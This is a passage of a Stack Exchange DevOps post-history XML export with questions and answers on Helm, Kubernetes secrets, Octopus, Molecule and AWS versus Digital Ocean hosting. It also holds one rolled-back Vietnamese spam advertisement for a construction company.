  <row Id="17173" PostHistoryTypeId="5" PostId="5399" RevisionGUID="f9c764f4-6d7a-46fb-a917-08129095ffd7" CreationDate="2018-11-10T06:28:38.500" UserId="40" Comment="added 9 characters in body" Text="My current client uses .net and .net core,  tfs and deploys via octopus. They want to use helm, k8s and docker.  With all of the environments, env variables are already in octopus.&#xD;&#xA;&#xD;&#xA;I am thinking to restore the nuget packages in the dockerfile, build the image, push to our local registry. Add our docker registry as a feed, add helm as a feed then creating a lifecycle for dev and prod. Then modify the octopus jobs to point to the local registry to pull the images.&#xD;&#xA;&#xD;&#xA;Anyone see any issues here? Should I strip out the env variables from octopus and just get rid of octopus?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17174" PostHistoryTypeId="2" PostId="5402" RevisionGUID="526d97a8-a5ba-4f9f-aeb3-9437972c1f01" CreationDate="2018-11-10T07:44:32.493" UserId="8251" Text="There are a couple of additional  considerations to take into account when you compare your service between AWS and Digital Ocean.&#xA;&#xA;If you know your service needs to be hosted on instances and you can estimate your performance needs well then you can buy reserved instances which give you between 30 and 50% off the listed price.&#xA;&#xA;If you are in the early stages of a project you should also be able to run your service for free for 12 months. After that you should be able to estimate what reserved instances to use.&#xA;&#xA;Keep in mind that various AWS services can significantly reduce your service costs while costing barely anything themselves such as API gateway caching, Cloudfront and Lambda@Edge.&#xA;&#xA;Also AWS autoscaling features should allow you to use peaks and troughs in traffic to optimise your costs. You do need some basic scale for that though. &#xA;&#xA;But more importantly Lambda should be your service of choice for microservices. It has a billing granularity of 100ms and 128Mb memory and a permanent free tier for a certain amount of &quot;grains&quot;. It therefore can work like auto scaling, but with a startup and shutdown time of 100ms eliminating all costs where your service is actually not used. " ContentLicense="CC BY-SA 4.0" />
  <row Id="17175" PostHistoryTypeId="2" PostId="5403" RevisionGUID="d18e7248-902b-4206-9920-de5df655d749" CreationDate="2018-11-10T07:48:58.640" UserId="210" Text="When molecule is run on travis, the build is successful ( see github.com/030/ansible-firefox)&#xD;&#xA;&#xD;&#xA;When run locally, it is able to test, but it fails on the last step (I will add the log later on)&#xD;&#xA;&#xD;&#xA;How do other people run molecule inside docker on their local machines?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17176" PostHistoryTypeId="1" PostId="5403" RevisionGUID="d18e7248-902b-4206-9920-de5df655d749" CreationDate="2018-11-10T07:48:58.640" UserId="210" Text="How to test an ansible playbook using molecule inside docker locally?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17177" PostHistoryTypeId="3" PostId="5403" RevisionGUID="d18e7248-902b-4206-9920-de5df655d749" CreationDate="2018-11-10T07:48:58.640" UserId="210" Text="&lt;docker&gt;&lt;ansible&gt;&lt;molecule&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17179" PostHistoryTypeId="2" PostId="5405" RevisionGUID="452b354f-15e9-4e90-b2ae-6606d3540e40" CreationDate="2018-11-10T09:20:41.060" UserId="10599" Text="&#xD;&#xA;We faced exactly the same choices for our live service that uses larval microservices API. &#xD;&#xA;&#xD;&#xA;There is no generic correct answer to a question &quot;what tool/provider is better?&quot; as it depends on your circumstances. Cost is a particularly tricky question. Are we just talking about the cost of getting something live, or the cost of running an elastically scalable service, or the cost of running a highly available elastic service that spans data centre availability zones such that it isn't taken down by an outage in a single data centre?  &#xD;&#xA;&#xD;&#xA;Digital Ocean (&quot;DO&quot;) is very highly promoted in the Laravel community so it was &quot;the default&quot; for the development team when I joined a startup about two months from go-live. When I asked &quot;what about the across data centre availability zones&quot; the answer at the time for Digital Ocean was that they didn't support it and we would have to set-up in two different DO data centres and work on our own mechanism (e.g. DNS) to switch between them if DO had a major outage in one geographic location. Yet on AWS they have resilience zones and also Elastic Load Balancer so its far easier to get a setup going that is &quot;future ready&quot; if you intend to be running a very successful large scale service a year after launch. &#xD;&#xA;&#xD;&#xA;In the end we went live on openshift.com which is a shared kubernetes service running on AWS. So our live DNS points at the Elastic Load Balancer of a shared Kubernetes cluster were we rent space for our containers. The cluster we are on has containers by other companies and runs across many AWS EC2 virtual machines. Yet they are not dedicated to us so we only pay a small fraction of the costs. Yet if any virtual machines crashes were our containers are running openshift kubernetes automatically starts a replacement container on another virtual machine. So we have automated high availability and crash recovery but only pay-as-we-go for the memory and CPU we currently use. We can scale up more containers anytime we want by using changing the replica count. Openshift has internal load balancing so that a single internal service IP with an internal DNS name automatically points at however many containers we want to run. That solves discovery between our microservices. That sort of thing is really important when you are running microservices at scale. &#xD;&#xA;&#xD;&#xA;With our setup, we get a great low-cost price for a very professional, elastic, highly scalable, fully automated infrastructure-as-code setup, that has all the advantages of AWS ELB, and all the advanced features of kubernetes for microservices. " ContentLicense="CC BY-SA 4.0" />
  <row Id="17180" PostHistoryTypeId="5" PostId="5405" RevisionGUID="56a6abdb-af6b-4c8d-b8b6-672a06c6affe" CreationDate="2018-11-10T09:26:18.327" UserId="10599" Comment="added 165 characters in body" Text="We faced exactly the same choices for our live service that uses larval microservices API. &#xD;&#xA;&#xD;&#xA;There is no generic correct answer to a question &quot;what tool/provider is better?&quot; as it depends on your circumstances. Cost is a particularly tricky question. Are we just talking about the cost of getting something live, or the cost of running an elastically scalable service, or the cost of running a highly available elastic service that spans data centre availability zones such that it isn't taken down by an outage in a single data centre?  &#xD;&#xA;&#xD;&#xA;Digital Ocean (&quot;DO&quot;) is very highly promoted in the Laravel community so it was &quot;the default&quot; for the development team when I joined a startup about two months from go-live. When I asked &quot;what about the across data centre availability zones&quot; the answer at the time for Digital Ocean was that they didn't support it and we would have to set-up in two different DO data centres and work on our own mechanism (e.g. DNS) to switch between them if DO had a major outage in one geographic location. Yet on AWS they have resilience zones and also Elastic Load Balancer so its far easier to get a setup going that is &quot;future ready&quot; if you intend to be running a very successful large scale service a year after launch. &#xD;&#xA;&#xD;&#xA;In the end we went live on openshift.com which is a shared kubernetes service running on AWS. So our live DNS points at the Elastic Load Balancer of a shared Kubernetes cluster were we rent space for our containers. The cluster we are on has containers by other companies and runs across many AWS EC2 virtual machines. Yet they are not dedicated to us so we only pay a small fraction of the costs. Yet if any virtual machines crashes were our containers are running openshift kubernetes automatically starts a replacement container on another virtual machine. So we have automated high availability and crash recovery but only pay-as-we-go for the memory and CPU we currently use. We can scale up more containers anytime we want by using changing the replica count. Openshift has internal load balancing so that a single internal service IP with an internal DNS name automatically points at however many containers we want to run. That solves discovery between our microservices. That sort of thing is really important when you are running microservices at scale. &#xD;&#xA;&#xD;&#xA;With our setup, we get a great low-cost price for a very professional, elastic, highly scalable, fully automated infrastructure-as-code setup, that has all the advantages of AWS ELB, and all the advanced features of kubernetes for microservices. &#xD;&#xA;&#xD;&#xA;**Edit:** I wrote a tutorial for my experiences running laravel on openshif.com that is over at https://gist.github.com/simbo1905/d27ba7218a2fd71fcb4f0fcede82fd6d " ContentLicense="CC BY-SA 4.0" />
  <row Id="17182" PostHistoryTypeId="2" PostId="5406" RevisionGUID="38793e70-a586-4c4a-88b1-786ff468b267" CreationDate="2018-11-10T16:15:54.603" UserId="10599" Text="If you are using Helm well then I don't think it is particularly important what build pipeline tech you are using to invoke it. I think what is more important is how you manage all your configuration within Git and how you structure the Helm deployments.  &#xD;&#xA;&#xD;&#xA;There are two different paradigms you can follow: &#xD;&#xA;&#xD;&#xA; 1. Build the app container image with the correct environment variables baked within it for each environment. &#xD;&#xA; 2. Build only one app container image that picks up environment variables from within the environment it has been deployed.  &#xD;&#xA;&#xD;&#xA;If you follow [12factor.net][1] best practices then you go for Option 2. IMHO it feels far cleaner and less error-prone to move the exact same image between kubernetes namespaces that represent different environments. We store environment variables inside of Kubernetes as `secrets` or `configmaps`. We then get to two more questions:&#xD;&#xA;&#xD;&#xA; 1. How do you load `secrets` and `configmaps` as environment variables into your .Net Core runtime images when the container starts up?&#xD;&#xA; 2. How to you manage the `secrets` and `configmaps` in each environment? &#xD;&#xA;&#xD;&#xA;With respect to the first question, Kubernetes has this covered. Any deployment can name a bunch of different secrets that should be [loaded][2] as environment variables. Ditto for [configmaps][3]. You just need each environment to be a different namespace so that the same logical secret can have the same name in each environment. Your database credentials can then be a secret called `main-database-credentials` that holds different credentials in different environments. &#xD;&#xA;&#xD;&#xA;To deal with the second question we use Helm to manage both secrets and configmaps. We have one generic Helm chart that deploys all our different secrets in all our different environment:&#xD;&#xA;&#xD;&#xA;`helm upgrade --install -f $NAME.yaml $NAME secret-1.1.tar.gz` &#xD;&#xA;&#xD;&#xA;So to upgrade our `main-database-credentials` secret we would change the settings in `main-database-credentials.yaml` then tell the chart to recreate the `main-database-credentials` deployment using that command. The chart simply uses the Helm templating language to build yaml that defines the secret using the name set in the yaml file. Likewise, we have a generic chart that updates `configmaps` that is invoked with a very simlar command as above. Helm uses a standard Golang templating library so it is very straight-forward to create those generic charts. &#xD;&#xA;&#xD;&#xA;At first, it may seem a bit heavyweight to use Helm to update something like a database password secret. Yet helm gives you a deployment history and lets you diff the history of deployments. It also lets you easily roll-back to a previous deployment. That is really powerful as an audit trail of config changes to live that is really helpful when managing a complex microservices deployment. Since we also use Helm to deploy all our apps it makes perfect sense to use the same power tool to manage the deployment of configuration into an environment. &#xD;&#xA;&#xD;&#xA;As we can use a generic helm chart to deploy many secret into many environments why not use a generic helm chart to deploy all our microservices? We do: &#xD;&#xA;&#xD;&#xA;`helm upgrade --install -f $NAME.yaml $NAME deployer-1.3.tar.gz`&#xD;&#xA;&#xD;&#xA;This means that `NAME=my-microservice` and `NAME=my-admin-webapp` or anything else can be deployed using one generic `deployer` chart. The absolute path of the tagged container image to deploy is in the yaml is different for different apps. &#xD;&#xA;&#xD;&#xA;That might sound strange as normally Helm packages a particular app so you would expect a one-to-one relationship between charts and apps. Yet if all your microservices are containers following 12factor.net best practices shouldn't they all &quot;look the same&quot; from the perspective of deploying them; it is just the container and the environment variables you deploy into the one generic chart. I think of it that the app is the pure container with none of the configuration to run it and the Kubernetes config is &quot;application infrastructure&quot;. So I have a Helm chart for each type of application infrastructure I need to deploy. I don't want each bit of application infrasture to hand rolled I want to cookie cutter create it using Helm. &#xD;&#xA;&#xD;&#xA;Now we have covered all the Helm mechanics we are left with the question &quot;how do we manage all our configuration within git?&quot;. We use different repo for different purposes: &#xD;&#xA;&#xD;&#xA; 1. Each microservice has its own repo. We use CircleCI to build the code into an image that is configured via environment variables. We don't store any Helm or Kubernetes config in this repo. We do have a properties file that names the latest version of the `deployer` chart this code is compatible with. &#xD;&#xA; 1. We have a GitHub repo that holds the source of the generic Helm charts that are used to deploy all our apps and secrets. These don't actually change very often now they are fairly stable. CircleCI builds and releases the charts as tar.gz onto the GitHub releases page for this repo.  &#xD;&#xA; 1. We have a git repo per environment. This has a folder per deployed microservice within that environment. Each contains the `yaml` file to pass to the helm deploy encrypted with `git secret`. It has a folder per deployed `secret` within that environment. Each contains a `yaml` file that is `git secret` encrypted. Ditto for `configmaps`.  &#xD;&#xA;&#xD;&#xA;Why a repo per environment? A branch per environment sounds more normal. Only a database credential for the live environment never moves between environments. As we use a separate repo for live we can give it separate permissions. We might let all developers go wild in the `dev-environment` repo we have a bit more discipline with the `live-environment` repo. &#xD;&#xA;&#xD;&#xA;We then have CircleCI do automated deployments of configuration. This works as Helm data detects changes and doesn't deploy a change to any Kubrernetes object if the latest yaml it generates is already deployed. To change a password in live you change it in the `git secret` encrypted yaml in the live repo and apply a release tag. CircleCI pattern matches on the tag name to see that its a release tag and it runs the deploy step. That uses a container with the helm client to run a bash script that loops over all app folders, secret folders and configmap folders running Helm for the right chart and correct yaml. Helm will only apply updates where there are changes within git. &#xD;&#xA;&#xD;&#xA;  [1]: https://www.12factor.net/config&#xD;&#xA;  [2]: https://kubernetes.io/docs/concepts/configuration/secret/#using-secrets-as-environment-variables&#xD;&#xA;  [3]: https://akomljen.com/kubernetes-environment-variables/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17183" PostHistoryTypeId="5" PostId="5406" RevisionGUID="7f178dd6-8d7b-4244-9fde-e1aa84dc80bb" CreationDate="2018-11-10T16:42:32.293" UserId="10599" Comment="deleted 6 characters in body" Text="If you are using Helm well then I don't think it is particularly important what build pipeline tech you are using to invoke it. I think what is more important is how you manage all your configuration within Git and how you structure the Helm deployments.  &#xD;&#xA;&#xD;&#xA;There are two different paradigms you can follow: &#xD;&#xA;&#xD;&#xA; 1. Build the app container image with the correct environment variables baked within it for each environment. &#xD;&#xA; 2. Build only one app container image that picks up environment variables from within the environment it has been deployed.  &#xD;&#xA;&#xD;&#xA;If you follow [12factor.net][1] best practices then you go for Option 2. IMHO it feels far cleaner and less error-prone to move the exact same image between kubernetes namespaces that represent different environments. We store environment variables inside of Kubernetes as `secrets` or `configmaps`. We then get to two more questions:&#xD;&#xA;&#xD;&#xA; 1. How do you load `secrets` and `configmaps` as environment variables into your .Net Core runtime images when the container starts up?&#xD;&#xA; 2. How to you manage the `secrets` and `configmaps` in each environment? &#xD;&#xA;&#xD;&#xA;With respect to the first question, Kubernetes has this covered. Any deployment can name a bunch of different secrets that should be [loaded][2] as environment variables. Ditto for [configmaps][3]. You just need each environment to be a different namespace so that the same logical secret can have the same name in each environment. Your database credentials can then be a secret called `main-database-credentials` that holds different credentials in different environments. &#xD;&#xA;&#xD;&#xA;To deal with the second question we use Helm to manage both secrets and configmaps. We have one generic Helm chart that deploys all our different secrets in all our different environment:&#xD;&#xA;&#xD;&#xA;`helm upgrade --install -f $NAME.yaml $NAME secret-1.1.tar.gz` &#xD;&#xA;&#xD;&#xA;So to upgrade our `main-database-credentials` secret we would change the settings in `main-database-credentials.yaml` then tell the chart to recreate the `main-database-credentials` deployment using that command. The chart simply uses the Helm templating language to build yaml that defines the secret using the name set in the yaml file. Likewise, we have a generic chart that updates `configmaps` that is invoked with a very simlar command as above. Helm uses a standard Golang templating library so it is very straight-forward to create those generic charts. &#xD;&#xA;&#xD;&#xA;At first, it may seem a bit heavyweight to use Helm to update something like a database password secret. Yet helm gives you a deployment history and lets you diff the history of deployments. It also lets you easily roll-back to a previous deployment. That is really powerful as an audit trail of config changes that is really helpful when managing a complex microservices deployment. Since we also use Helm to deploy all our apps it makes perfect sense to use the same power tool to manage the deployment of configuration into our environments. &#xD;&#xA;&#xD;&#xA;As we can use a generic helm chart to deploy many secret into many environments why not use a generic helm chart to deploy all our microservices? We do: &#xD;&#xA;&#xD;&#xA;`helm upgrade --install -f $NAME.yaml $NAME deployer-1.3.tar.gz`&#xD;&#xA;&#xD;&#xA;This means that `NAME=my-microservice` and `NAME=my-admin-webapp` or anything else can be deployed using one generic `deployer` chart. The absolute path of the tagged container image to deploy is in the yaml is different for different apps. &#xD;&#xA;&#xD;&#xA;That might sound strange as normally Helm packages a particular app so you would expect a one-to-one relationship between charts and apps. Yet if all your microservices are containers following 12factor.net best practices shouldn't they all &quot;look the same&quot; from the perspective of deploying them; it is just the container and the environment variables you deploy into the one generic chart. I think of it that the app is the pure container with none of the configuration to run it and the Kubernetes config is &quot;application infrastructure&quot;. So I have a Helm chart for each type of application infrastructure I need to deploy. I don't want each bit of application infrasture to hand rolled I want to cookie cutter create it using Helm. &#xD;&#xA;&#xD;&#xA;Now we have covered all the Helm mechanics we are left with the question &quot;how do we manage all our configuration within git?&quot;. We use different repo for different purposes: &#xD;&#xA;&#xD;&#xA; 1. Each microservice has its own repo. We use CircleCI to build the code into an image that is configured via environment variables. We don't store any Helm or Kubernetes config in this repo. We do have a properties file that names the latest version of the `deployer` chart this code is compatible with. &#xD;&#xA; 1. We have a GitHub repo that holds the source of the generic Helm charts that are used to deploy all our apps and secrets. These don't actually change very often now they are fairly stable. CircleCI builds and releases the charts as tar.gz onto the GitHub releases page for this repo.  &#xD;&#xA; 1. We have a git repo per environment. This has a folder per deployed microservice within that environment. Each contains the `yaml` file to pass to the helm deploy encrypted with `git secret`. It has a folder per deployed `secret` within that environment. Each contains a `yaml` file that is `git secret` encrypted. Ditto for `configmaps`.  &#xD;&#xA;&#xD;&#xA;Why a repo per environment? A branch per environment sounds more normal. Only a database credential for the live environment never moves between environments. As we use a separate repo for live we can give it separate permissions. We might let all developers go wild in the `dev-environment` repo we have a bit more discipline with the `live-environment` repo. &#xD;&#xA;&#xD;&#xA;We then have CircleCI do automated deployments of configuration. This works as Helm data detects changes and doesn't deploy a change to any Kubrernetes object if the latest yaml it generates is already deployed. To change a password in live you change it in the `git secret` encrypted yaml in the live repo and apply a release tag. CircleCI pattern matches on the tag name to see that its a release tag and it runs the deploy step. That uses a container with the helm client to run a bash script that loops over all app folders, secret folders and configmap folders running Helm for the right chart and correct yaml. Helm will only apply updates where there are changes within git. &#xD;&#xA;&#xD;&#xA;  [1]: https://www.12factor.net/config&#xD;&#xA;  [2]: https://kubernetes.io/docs/concepts/configuration/secret/#using-secrets-as-environment-variables&#xD;&#xA;  [3]: https://akomljen.com/kubernetes-environment-variables/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17184" PostHistoryTypeId="5" PostId="5406" RevisionGUID="c66d078c-3fb2-4c1f-9d5f-c633bc73882e" CreationDate="2018-11-10T17:14:44.070" UserId="10599" Comment="added 114 characters in body" Text="Helm is a Kubernetes tool so this answer assumes you are deploying to Kubernetes or OpenShift not Docker Swarm. &#xA;&#xA;If you are using Helm well then I don't think it is particularly important what build pipeline tech you are using to invoke it. I think what is more important is how you manage all your configuration within Git and how you structure the Helm deployments.  &#xD;&#xA;&#xD;&#xA;There are two different paradigms you can follow: &#xD;&#xA;&#xD;&#xA; 1. Build the app container image with the correct environment variables baked within it for each environment. &#xD;&#xA; 2. Build only one app container image that picks up environment variables from within the environment it has been deployed.  &#xD;&#xA;&#xD;&#xA;If you follow [12factor.net][1] best practices then you go for Option 2. IMHO it feels far cleaner and less error-prone to move the exact same image between kubernetes namespaces that represent different environments. We store environment variables inside of Kubernetes as `secrets` or `configmaps`. We then get to two more questions:&#xD;&#xA;&#xD;&#xA; 1. How do you load `secrets` and `configmaps` as environment variables into your .Net Core runtime images when the container starts up?&#xD;&#xA; 2. How to you manage the `secrets` and `configmaps` in each environment? &#xD;&#xA;&#xD;&#xA;With respect to the first question, Kubernetes has this covered. Any deployment can name a bunch of different secrets that should be [loaded][2] as environment variables. Ditto for [configmaps][3]. You just need each environment to be a different namespace so that the same logical secret can have the same name in each environment. Your database credentials can then be a secret called `main-database-credentials` that holds different credentials in different environments. &#xD;&#xA;&#xD;&#xA;To deal with the second question we use Helm to manage both secrets and configmaps. We have one generic Helm chart that deploys all our different secrets in all our different environment:&#xD;&#xA;&#xD;&#xA;`helm upgrade --install -f $NAME.yaml $NAME secret-1.1.tar.gz` &#xD;&#xA;&#xD;&#xA;So to upgrade our `main-database-credentials` secret we would change the settings in `main-database-credentials.yaml` then tell the chart to recreate the `main-database-credentials` deployment using that command. The chart simply uses the Helm templating language to build yaml that defines the secret using the name set in the yaml file. Likewise, we have a generic chart that updates `configmaps` that is invoked with a very simlar command as above. Helm uses a standard Golang templating library so it is very straight-forward to create those generic charts. &#xD;&#xA;&#xD;&#xA;At first, it may seem a bit heavyweight to use Helm to update something like a database password secret. Yet helm gives you a deployment history and lets you diff the history of deployments. It also lets you easily roll-back to a previous deployment. That is really powerful as an audit trail of config changes that is really helpful when managing a complex microservices deployment. Since we also use Helm to deploy all our apps it makes perfect sense to use the same power tool to manage the deployment of configuration into our environments. &#xD;&#xA;&#xD;&#xA;As we can use a generic helm chart to deploy many secret into many environments why not use a generic helm chart to deploy all our microservices? We do: &#xD;&#xA;&#xD;&#xA;`helm upgrade --install -f $NAME.yaml $NAME deployer-1.3.tar.gz`&#xD;&#xA;&#xD;&#xA;This means that `NAME=my-microservice` and `NAME=my-admin-webapp` or anything else can be deployed using one generic `deployer` chart. The absolute path of the tagged container image to deploy is in the yaml is different for different apps. &#xD;&#xA;&#xD;&#xA;That might sound strange as normally Helm packages a particular app so you would expect a one-to-one relationship between charts and apps. Yet if all your microservices are containers following 12factor.net best practices shouldn't they all &quot;look the same&quot; from the perspective of deploying them; it is just the container and the environment variables you deploy into the one generic chart. I think of it that the app is the pure container with none of the configuration to run it and the Kubernetes config is &quot;application infrastructure&quot;. So I have a Helm chart for each type of application infrastructure I need to deploy. I don't want each bit of application infrasture to hand rolled I want to cookie cutter create it using Helm. &#xD;&#xA;&#xD;&#xA;Now we have covered all the Helm mechanics we are left with the question &quot;how do we manage all our configuration within git?&quot;. We use different repo for different purposes: &#xD;&#xA;&#xD;&#xA; 1. Each microservice has its own repo. We use CircleCI to build the code into an image that is configured via environment variables. We don't store any Helm or Kubernetes config in this repo. We do have a properties file that names the latest version of the `deployer` chart this code is compatible with. &#xD;&#xA; 1. We have a GitHub repo that holds the source of the generic Helm charts that are used to deploy all our apps and secrets. These don't actually change very often now they are fairly stable. CircleCI builds and releases the charts as tar.gz onto the GitHub releases page for this repo.  &#xD;&#xA; 1. We have a git repo per environment. This has a folder per deployed microservice within that environment. Each contains the `yaml` file to pass to the helm deploy encrypted with `git secret`. It has a folder per deployed `secret` within that environment. Each contains a `yaml` file that is `git secret` encrypted. Ditto for `configmaps`.  &#xD;&#xA;&#xD;&#xA;Why a repo per environment? A branch per environment sounds more normal. Only a database credential for the live environment never moves between environments. As we use a separate repo for live we can give it separate permissions. We might let all developers go wild in the `dev-environment` repo we have a bit more discipline with the `live-environment` repo. &#xD;&#xA;&#xD;&#xA;We then have CircleCI do automated deployments of configuration. This works as Helm data detects changes and doesn't deploy a change to any Kubrernetes object if the latest yaml it generates is already deployed. To change a password in live you change it in the `git secret` encrypted yaml in the live repo and apply a release tag. CircleCI pattern matches on the tag name to see that its a release tag and it runs the deploy step. That uses a container with the helm client to run a bash script that loops over all app folders, secret folders and configmap folders running Helm for the right chart and correct yaml. Helm will only apply updates where there are changes within git. &#xD;&#xA;&#xD;&#xA;  [1]: https://www.12factor.net/config&#xD;&#xA;  [2]: https://kubernetes.io/docs/concepts/configuration/secret/#using-secrets-as-environment-variables&#xD;&#xA;  [3]: https://akomljen.com/kubernetes-environment-variables/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17185" PostHistoryTypeId="5" PostId="5323" RevisionGUID="eb146670-38ba-4a69-91fe-4db85b71ff5a" CreationDate="2018-11-10T17:22:26.647" UserId="10650" Comment="added 2626 characters in body" Text="THIẾT KẾ NHÀ TINH TẾ DUY NHẤT CÓ MẶT TẠI HÒA BÌNH REAL&#xD;&#xA;&#xD;&#xA;Quý khách muốn 1 mẫu thiết kế 3D hoàn chỉnh dành cho công trình chuẩn bị xây dựng của quý khách? khâu thi công phần thô đồng thời khó khăn không ít. Thế thìcần phải tìm kiếm tại đâu thì mới liên hệ được 1 doanh nghiệp đáng tin tưởng nhận việc đó nhỉ? Gạt bỏ buồn phiền, đã hiện diện một Hòa Bình Real hỗ trợ tới quý khách. &#xD;&#xA;&#xD;&#xA;Doanh nghiệp Trách nhiệm hữu hạn Thương mại Dịch vụ Hòa Bình Real được biết đến là công ty chuyên về đem đến nhiều loại hìnhgợi ý thiết kế &amp; triển khai những kiến trúc nhà phố, xí nghiệp &amp; phục hồi tái tạo. Hòa Bình Real sẽ gợi ý, đáp ứng mẫu thiết kế 3D, thực hiện thi công phần thô &amp; lấy giấy phép không hề mất phí đến cho quý khách hàng.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Loại hình kiến trúc được coi giống như 1 môn thẩm mỹ, cái làm cho con người hiện diện ý thức nhận biết được khi đặt bản thân ở trong ấy. Cùng với kiến trúc như là nơi sinh sống hoặc nơi sinh hoạt của ta, kiến trúc phải tạo ra không khí dẫn đến tất cả diễn ra cùng lúc trên luật lệ từ tự nhiên. Hòa Bình Real chính là công ty chuyên nghiệp mảng thiết kế 3D kiến trúc. Với chuyên môn lâu dài làm việc, Hòa Bình Real đã đạt thành tích cao về công việc tạo được số lượng đáng kể phác họa thiết kế kiến trúc hoàn mỹ dành cho nhiều kiến trúc căn hộ.&#xD;&#xA;&#xD;&#xA;Ở trang web, ***công ty xây dựng và đầu tư địa ốc hòa bình*** liên tục tải lên bảng thống kế giá thi công phần thô giúp quý khách phần nào coi qua. Hơn nữa, Hòa Bình Real còn cập nhật dữ liệu thuộc các thành quả đã thi công của những kiến trúc sư có năng lực bề dày tích lũy &amp; kĩ sư thiết kế giàu chuyên môn.&#xD;&#xA;&#xD;&#xA;Do dựa vào yếu tố nổi trội ấy làm cho Hòa Bình Real đã có được không ít sự quý mến &amp; sự tin tưởng từ phía quý khách, lúc này ngày càng biến thành 1 đơn vị vững chãi trong lĩnh vực. Cho đến hiện tại, doanh nghiệp đã góp sức trực tiếp trong việc thiết kế, trao đổi trong coi công trình &amp; tiến hành xây dựng lắp đặt và xây dựng có mức độ vừa &amp; lớn những biệt thự, nhà phố bên cạnh một số công trình chủ chốt thuộc về kế hoạch của Nhà nước.&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;Hòa Bình Real luôn luôn hứa hẹn với thành quả những ngôi nhà, bằng kỹ năng đồng thời tốc độ, độ thỏa mãn từ quý khách bằng công việc thực hiện tất cả đề xuất cao nhất. Sự chú ý &amp; phê bình ủng hộ từ khách hàng về Hòa Bình Real như là sự động viên ý nghĩa nhất, đem thêm công lực làm cho doanh nghiệp tiếp tục thành công hơn. Muốn được tư vấn loại hình thiết kế 3D &amp; thi công phần thô, bạn có thể gọi đến số điện thoại 0908211066. Quý khách hoàn toàn có thể ghé 571A Nguyễn Ảnh Thủ, kp.4, p.Hiệp Thành, Q.12, Hồ Chí Minh nhằm được nhận phục vụ chu đáo &amp; báo giá cả đúng đắn. Các vấn đề xin quý khách hàng chuyển tới xaydunghoabinhreal@gmail.com nhằm có thể được trả lời kịp thời.&#xD;&#xA;&#xD;&#xA;Thông tin liên hệ:&#xD;&#xA;&#xD;&#xA;Website: [https://hoabinhreal.com/][3]&#xD;&#xA;&#xD;&#xA;Scoop.it: [https://www.scoop.it/t/hoabinhreal][4]&#xD;&#xA;&#xD;&#xA;Instapaper.com: [https://www.instapaper.com/p/Hoabinhreal][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/OApE0.jpg&#xD;&#xA;  [2]: https://i.stack.imgur.com/2OvYE.jpg&#xD;&#xA;  [3]: https://hoabinhreal.com/&#xD;&#xA;  [4]: https://www.scoop.it/t/hoabinhreal&#xD;&#xA;  [5]: https://www.instapaper.com/p/Hoabinhreal" ContentLicense="CC BY-SA 4.0" />
  <row Id="17186" PostHistoryTypeId="8" PostId="5323" RevisionGUID="23571ef6-768e-4fb9-98a2-821bb2877bcd" CreationDate="2018-11-10T17:27:50.047" UserId="8768" Comment="Rollback to [4559cd7c-9989-4941-92b0-c656118e4ae1]" Text="Few questions here: a) What does the concept of object Pod satisfy? A paused container containing the namespace for the actual app area (s) will be added later and use that namespace. So what activities in real life qualify to have more than one container running in a pod? Can you give examples of points? What is considered sidecar operation after all?&#xD;&#xA;&#xD;&#xA;b) What is the threshold, for example: N container in the Pod that the master will be able to say that Pod is not healthy? So basically, how many containers in a pod need to down to the POD mark down?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17187" PostHistoryTypeId="5" PostId="5406" RevisionGUID="0df6ab69-a349-4fca-ab25-67f056363a3f" CreationDate="2018-11-10T17:31:14.150" UserId="10599" Comment="clarity" Text="Helm is a Kubernetes tool so this answer assumes you are deploying to Kubernetes or OpenShift not Docker Swarm. &#xD;&#xA;&#xD;&#xA;If you are using Helm well then I don't think it is particularly important what build pipeline tech you are using to invoke it. I think what is more important is how you manage all your configuration within Git and how you structure the Helm deployments.  &#xD;&#xA;&#xD;&#xA;There are two different paradigms you can follow: &#xD;&#xA;&#xD;&#xA; 1. Build the app container image with the correct environment variables baked within it for each environment. &#xD;&#xA; 2. Build only one app container image that picks up environment variables from within the environment it has been deployed.  &#xD;&#xA;&#xD;&#xA;If you follow [12factor.net][1] best practices then you go for Option 2. IMHO it feels far cleaner and less error-prone to move the exact same image between kubernetes namespaces that represent different environments. We store environment variables inside of Kubernetes as `secrets` or `configmaps`. We then get to two more questions:&#xD;&#xA;&#xD;&#xA; 1. How do you load `secrets` and `configmaps` as environment variables into your .Net Core runtime images when the container starts up?&#xD;&#xA; 2. How to you manage the `secrets` and `configmaps` in each environment? &#xD;&#xA;&#xD;&#xA;With respect to the first question, Kubernetes has this covered. Any deployment can name a bunch of different secrets that should be [loaded][2] as environment variables. Ditto for [configmaps][3]. You just need each environment to be a different namespace so that the same logical secret can have the same name in each environment. Your database credentials can then be a secret called `main-database-credentials` that holds different credentials in different environments. &#xD;&#xA;&#xD;&#xA;To deal with the second question we use Helm to manage both secrets and configmaps. We have one generic Helm chart that deploys all our different secrets in all our different environment:&#xD;&#xA;&#xD;&#xA;`helm upgrade --install -f $NAME.yaml $NAME secret-1.1.tar.gz` &#xD;&#xA;&#xD;&#xA;So to upgrade our `main-database-credentials` secret we would change the settings in `main-database-credentials.yaml` then tell the chart to recreate the `main-database-credentials` deployment using that command. The chart simply uses the Helm templating language to build yaml that defines the secret using the name set in the yaml file. Likewise, we have a generic chart that updates `configmaps` that is invoked with a very simlar command as above. Helm uses a standard Golang templating library so it is very straight-forward to create those generic charts. &#xD;&#xA;&#xD;&#xA;At first, it may seem a bit heavyweight to use Helm to update something like a database password secret. Yet helm gives you a deployment history and lets you diff the history of deployments. It also lets you easily roll-back to a previous deployment. That is really powerful as an audit trail of config changes that is really helpful when managing a complex microservices deployment. Since we also use Helm to deploy all our apps it makes perfect sense to use the same power tool to manage the deployment of configuration into our environments. &#xD;&#xA;&#xD;&#xA;As we can use a generic helm chart to deploy many secrets into many environments why not use a generic helm chart to deploy all our microservices? We do: &#xD;&#xA;&#xD;&#xA;`helm upgrade --install -f $NAME.yaml $NAME 